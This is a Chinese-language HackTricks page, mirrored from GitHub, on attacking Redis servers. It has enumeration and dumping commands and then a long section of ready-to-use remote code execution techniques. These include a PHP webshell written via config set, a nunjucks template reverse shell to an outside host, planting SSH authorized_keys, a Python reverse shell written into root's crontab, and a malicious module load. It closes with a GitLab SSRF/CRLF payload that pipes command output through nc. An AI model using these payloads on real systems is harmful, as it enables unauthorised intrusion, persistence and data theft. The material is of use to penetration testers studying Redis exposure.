mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-12 22:33:13 +00:00
334 lines
18 KiB
Markdown
334 lines
18 KiB
Markdown
# 6379 - Redis渗透测试
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof是所有加密漏洞赏金的家园。**
|
||
|
||
**无需延迟获得奖励**\
|
||
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||
|
||
**在web3渗透测试中获得经验**\
|
||
区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
|
||
|
||
**成为web3黑客传奇**\
|
||
每次验证的漏洞都会获得声望积分,并占据每周排行榜的榜首。
|
||
|
||
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
## 基本信息
|
||
|
||
Redis是一个开源(BSD许可证)的内存**数据结构存储**,用作**数据库**、缓存和消息代理(来自[这里](https://redis.io/topics/introduction))。默认情况下,Redis使用基于纯文本的协议,但您必须记住它也可以实现**ssl/tls**。了解如何在此处[使用ssl/tls运行Redis](https://fossies.org/linux/redis/TLS.md)。
|
||
|
||
**默认端口:** 6379
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
6379/tcp open redis Redis key-value store 4.0.9
|
||
```
|
||
## 自动枚举
|
||
|
||
一些自动化工具可以帮助获取 Redis 实例的信息:
|
||
```bash
|
||
nmap --script redis-info -sV -p 6379 <IP>
|
||
msf> use auxiliary/scanner/redis/redis_server
|
||
```
|
||
## 手动枚举
|
||
|
||
### 横幅
|
||
|
||
Redis是一种**基于文本的协议**,您只需**在套接字中发送命令**,返回的值将可读。还要记住,Redis可以使用**ssl/tls**运行(但这非常奇怪)。
|
||
|
||
在常规的Redis实例中,您可以使用`nc`进行连接,也可以使用`redis-cli`:
|
||
```bash
|
||
nc -vn 10.10.10.10 6379
|
||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||
```
|
||
你可以尝试的**第一个命令**是**`info`**。它可能返回Redis实例的信息输出,或者返回类似以下内容:
|
||
```
|
||
-NOAUTH Authentication required.
|
||
```
|
||
在这种情况下,这意味着**您需要有效的凭据**才能访问Redis实例。
|
||
|
||
### Redis身份验证
|
||
|
||
**默认情况下**,可以**无需凭据**访问Redis。但是,可以进行**配置**以仅支持**密码或用户名+密码**。\
|
||
可以在_**redis.conf**_文件中使用参数`requirepass`设置密码,**或者在服务重新启动连接到Redis并运行`config set requirepass p@ss$12E45`**时临时设置密码。\
|
||
此外,可以在_**redis.conf**_文件中的参数`masteruser`中配置**用户名**。
|
||
|
||
{% hint style="info" %}
|
||
如果仅配置了密码,则使用的用户名是“**default**”。\
|
||
此外,请注意,**无法从外部找到**Redis是否仅配置了密码或用户名+密码。
|
||
{% endhint %}
|
||
|
||
在这种情况下,您将**需要找到有效的凭据**才能与Redis进行交互,因此可以尝试[**暴力破解**](../generic-methodologies-and-resources/brute-force.md#redis)。\
|
||
**如果找到有效的凭据,请在建立连接后使用命令进行身份验证**:
|
||
```bash
|
||
AUTH <username> <password>
|
||
```
|
||
**有效的凭证**将会得到以下回应:`+OK`
|
||
|
||
### **已认证的枚举**
|
||
|
||
如果Redis实例接受**匿名**连接或者你找到了一些**有效的凭证**,你可以使用以下命令开始对服务进行枚举:
|
||
```bash
|
||
INFO
|
||
[ ... Redis response with info ... ]
|
||
client list
|
||
[ ... Redis response with connected clients ... ]
|
||
CONFIG GET *
|
||
[ ... Get config ... ]
|
||
```
|
||
**其他Redis命令**可以在[这里](https://redis.io/topics/data-types-intro)和[这里](https://lzone.de/cheat-sheet/Redis)找到。\
|
||
请注意,**Redis实例的命令可以在redis.conf文件中被重命名或删除**。例如,以下行将删除FLUSHDB命令:
|
||
```
|
||
rename-command FLUSHDB ""
|
||
```
|
||
更多关于安全配置Redis服务的信息请参考:[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||
|
||
您还可以使用命令**`monitor`**实时监控执行的Redis命令,或者使用**`slowlog get 25`**获取前25个最慢的查询命令。
|
||
|
||
在这里可以找到更多有关Redis命令的有趣信息:[https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||
|
||
### **数据库转储**
|
||
|
||
在Redis中,**数据库是从0开始的数字**。您可以通过命令`info`的输出中的"Keyspace"块来查找是否有任何数据库正在使用:
|
||
|
||
![](<../.gitbook/assets/image (315).png>)
|
||
|
||
或者您可以使用以下命令获取所有的**keyspaces**(数据库):
|
||
```
|
||
INFO keyspace
|
||
```
|
||
在这个例子中,正在使用**数据库0和1**。**数据库0包含4个键,数据库1包含1个键**。默认情况下,Redis将使用数据库0。为了导出例如数据库1,您需要执行以下操作:
|
||
```bash
|
||
SELECT 1
|
||
[ ... Indicate the database ... ]
|
||
KEYS *
|
||
[ ... Get Keys ... ]
|
||
GET <KEY>
|
||
[ ... Get Key ... ]
|
||
```
|
||
如果在运行`GET <KEY>`时出现`-WRONGTYPE操作针对保存错误类型值的键`的错误,这是因为键可能不是字符串或整数,需要使用特殊操作符来显示它。
|
||
|
||
要了解键的类型,请使用`TYPE`命令,以下是列表和哈希键的示例。
|
||
```
|
||
TYPE <KEY>
|
||
[ ... Type of the Key ... ]
|
||
LRANGE <KEY> 0 -1
|
||
[ ... Get list items ... ]
|
||
HGET <KEY> <FIELD>
|
||
[ ... Get hash item ... ]
|
||
```
|
||
**使用npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **或python** [**redis-utils**](https://pypi.org/project/redis-utils/) **来转储数据库。**
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof 是所有加密货币漏洞赏金的家园。**
|
||
|
||
**即时获得奖励**\
|
||
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||
|
||
**在web3渗透测试中获得经验**\
|
||
区块链协议和智能合约是新的互联网!在其兴起的时代掌握web3安全。
|
||
|
||
**成为web3黑客传奇**\
|
||
每次验证的漏洞都会获得声望积分,并登上每周排行榜的榜首。
|
||
|
||
[**在HackenProof上注册**](https://hackenproof.com/register) 开始从您的黑客攻击中赚取收入!
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
## Redis RCE
|
||
|
||
### 交互式Shell
|
||
|
||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) 可以自动在Redis(<=5.0.5)中获取交互式Shell或反向Shell。
|
||
```
|
||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||
```
|
||
### PHP Webshell
|
||
|
||
来自[**这里**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)的信息。您必须知道**网站文件夹的路径**:
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename redis.php
|
||
OK
|
||
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
如果Webshell访问异常,您可以在备份后清空数据库,然后再次尝试,记得恢复数据库。
|
||
|
||
### 模板Webshell
|
||
|
||
与前一节类似,您还可以覆盖一些将由模板引擎解释的HTML模板文件,并获得一个Shell。
|
||
|
||
例如,根据[**这篇文章**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/),您可以看到攻击者在一个由**nunjucks模板引擎解释的HTML**中注入了一个**反向Shell**:
|
||
```javascript
|
||
{{ ({}).constructor.constructor(
|
||
"var net = global.process.mainModule.require('net'),
|
||
cp = global.process.mainModule.require('child_process'),
|
||
sh = cp.spawn('sh', []);
|
||
var client = new net.Socket();
|
||
client.connect(1234, 'my-server.com', function(){
|
||
client.pipe(sh.stdin);
|
||
sh.stdout.pipe(client);
|
||
sh.stderr.pipe(client);
|
||
});"
|
||
)()}}
|
||
```
|
||
{% hint style="warning" %}
|
||
请注意,**多个模板引擎会将模板缓存在内存中**,因此即使您覆盖它们,新的模板也**不会被执行**。在这种情况下,要么开发人员保留了自动重新加载功能,要么您需要对服务进行拒绝服务攻击(DoS),并期望它会自动重新启动。
|
||
{% endhint %}
|
||
|
||
### SSH
|
||
|
||
请注意,在执行其他手动利用命令之后,**`config get dir`** 的结果可能会发生变化。建议在登录到 Redis 后立即运行此命令。在 **`config get dir`** 的输出中,您可以找到 **redis 用户的主目录**(通常为 _/var/lib/redis_ 或 _/home/redis/.ssh_),通过这个信息,您就知道可以在哪里写入 `authenticated_users` 文件以通过 ssh 使用 **redis 用户**登录。如果您知道其他有效用户的主目录,并且您具有可写权限,您也可以滥用它:
|
||
|
||
1. 在您的计算机上生成一个 ssh 公私钥对:**`ssh-keygen -t rsa`**
|
||
2. 将公钥写入文件:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||
3. 将文件导入到 Redis:**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||
4. 将公钥保存到 Redis 服务器上的 **authorized\_keys** 文件中:
|
||
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename "authorized_keys"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
5. 最后,您可以使用私钥 **ssh** 到 **redis 服务器**:**ssh -i id\_rsa redis@10.85.0.52**
|
||
|
||
**此技术在此处自动化:**[https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||
|
||
### Crontab
|
||
```
|
||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 save
|
||
OK
|
||
```
|
||
最后一个例子是针对Ubuntu的,对于**Centos**,上述命令应为:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||
|
||
这种方法也可以用来挖比特币:[yam](https://www.v2ex.com/t/286981#reply14)
|
||
|
||
### 加载Redis模块
|
||
|
||
1. 按照[https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)的说明,你可以**编译一个Redis模块来执行任意命令**。
|
||
2. 然后你需要一种方式来**上传编译好的**模块。
|
||
3. 使用`MODULE LOAD /path/to/mymodule.so`在运行时**加载上传的模块**。
|
||
4. 使用`MODULE LIST`**列出已加载的模块**,以检查是否正确加载。
|
||
5. **执行命令**:
|
||
|
||
```
|
||
127.0.0.1:6379> system.exec "id"
|
||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||
127.0.0.1:6379> system.exec "whoami"
|
||
"root\n"
|
||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||
```
|
||
6. 随时卸载模块:`MODULE UNLOAD mymodule`
|
||
|
||
### LUA沙盒绕过
|
||
|
||
[**在这里**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)你可以看到Redis使用命令**EVAL**来执行**沙盒化的Lua代码**。在链接的帖子中,你可以看到如何使用**dofile**函数来滥用它,但是[显然](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)这已经不再可能。无论如何,如果你能**绕过Lua**沙盒,你就可以在系统上**执行任意**命令。此外,从同一篇帖子中,你可以看到一些**导致DoS的选项**。
|
||
|
||
一些**用于绕过LUA的CVE**:
|
||
|
||
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
||
|
||
### 主从模块
|
||
|
||
主Redis的所有操作会自动同步到从Redis,这意味着我们可以将有漏洞的Redis视为从Redis,连接到我们自己控制的主Redis,然后我们可以向自己的Redis输入命令。
|
||
```
|
||
master redis : 10.85.0.51 (Hacker's Server)
|
||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||
A master-slave connection will be established from the slave redis and the master redis:
|
||
redis-cli -h 10.85.0.52 -p 6379
|
||
slaveof 10.85.0.51 6379
|
||
Then you can login to the master redis to control the slave redis:
|
||
redis-cli -h 10.85.0.51 -p 6379
|
||
set mykey hello
|
||
set mykey2 helloworld
|
||
```
|
||
## SSRF与Redis通信
|
||
|
||
如果你可以发送**明文请求**到**Redis**,你可以与它**进行通信**,因为Redis会逐行读取请求,并对它不理解的行返回错误响应:
|
||
```
|
||
-ERR wrong number of arguments for 'get' command
|
||
-ERR unknown command 'Host:'
|
||
-ERR unknown command 'Accept:'
|
||
-ERR unknown command 'Accept-Encoding:'
|
||
-ERR unknown command 'Via:'
|
||
-ERR unknown command 'Cache-Control:'
|
||
-ERR unknown command 'Connection:'
|
||
```
|
||
因此,如果您在一个网站中发现了一个SSRF漏洞,并且您可以控制一些头部(可能是通过CRLF漏洞)或POST参数,那么您将能够向Redis发送任意命令。
|
||
|
||
### 示例:Gitlab SSRF + CRLF到Shell
|
||
|
||
在Gitlab11.4.7中发现了一个SSRF漏洞和一个CRLF漏洞。当创建一个新项目时,SSRF漏洞存在于从URL导入项目的功能中,允许访问任意IP,形式为\[0:0:0:0:0:ffff:127.0.0.1](这将访问127.0.0.1),而CRLF漏洞则是通过在URL中添加%0D%0A字符来利用。
|
||
|
||
因此,可以滥用这些漏洞与管理gitlab队列的Redis实例进行通信,并滥用这些队列来获取代码执行。Redis队列滥用的有效载荷为:
|
||
```
|
||
multi
|
||
sadd resque:gitlab:queues system_hook_push
|
||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||
exec
|
||
```
|
||
而滥用SSRF和CRLF执行`whoami`命令,并通过`nc`发送输出的**URL编码**请求是:
|
||
```
|
||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||
```
|
||
由于某种原因(如来源于[_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)的作者所述),利用只适用于`git`协议而不适用于`http`协议。
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof是所有加密漏洞赏金的家园。**
|
||
|
||
**即时获得奖励**\
|
||
只有在客户存入奖励预算后,HackenProof才会启动赏金。在漏洞验证后,您将获得奖励。
|
||
|
||
**在web3渗透测试中积累经验**\
|
||
区块链协议和智能合约是新的互联网!在其兴起之时掌握web3安全。
|
||
|
||
**成为web3黑客传奇**\
|
||
每次验证的漏洞都会增加声誉积分,征服每周排行榜的顶端。
|
||
|
||
[**在HackenProof上注册**](https://hackenproof.com/register)并从您的黑客攻击中获利!
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||
|
||
</details>
|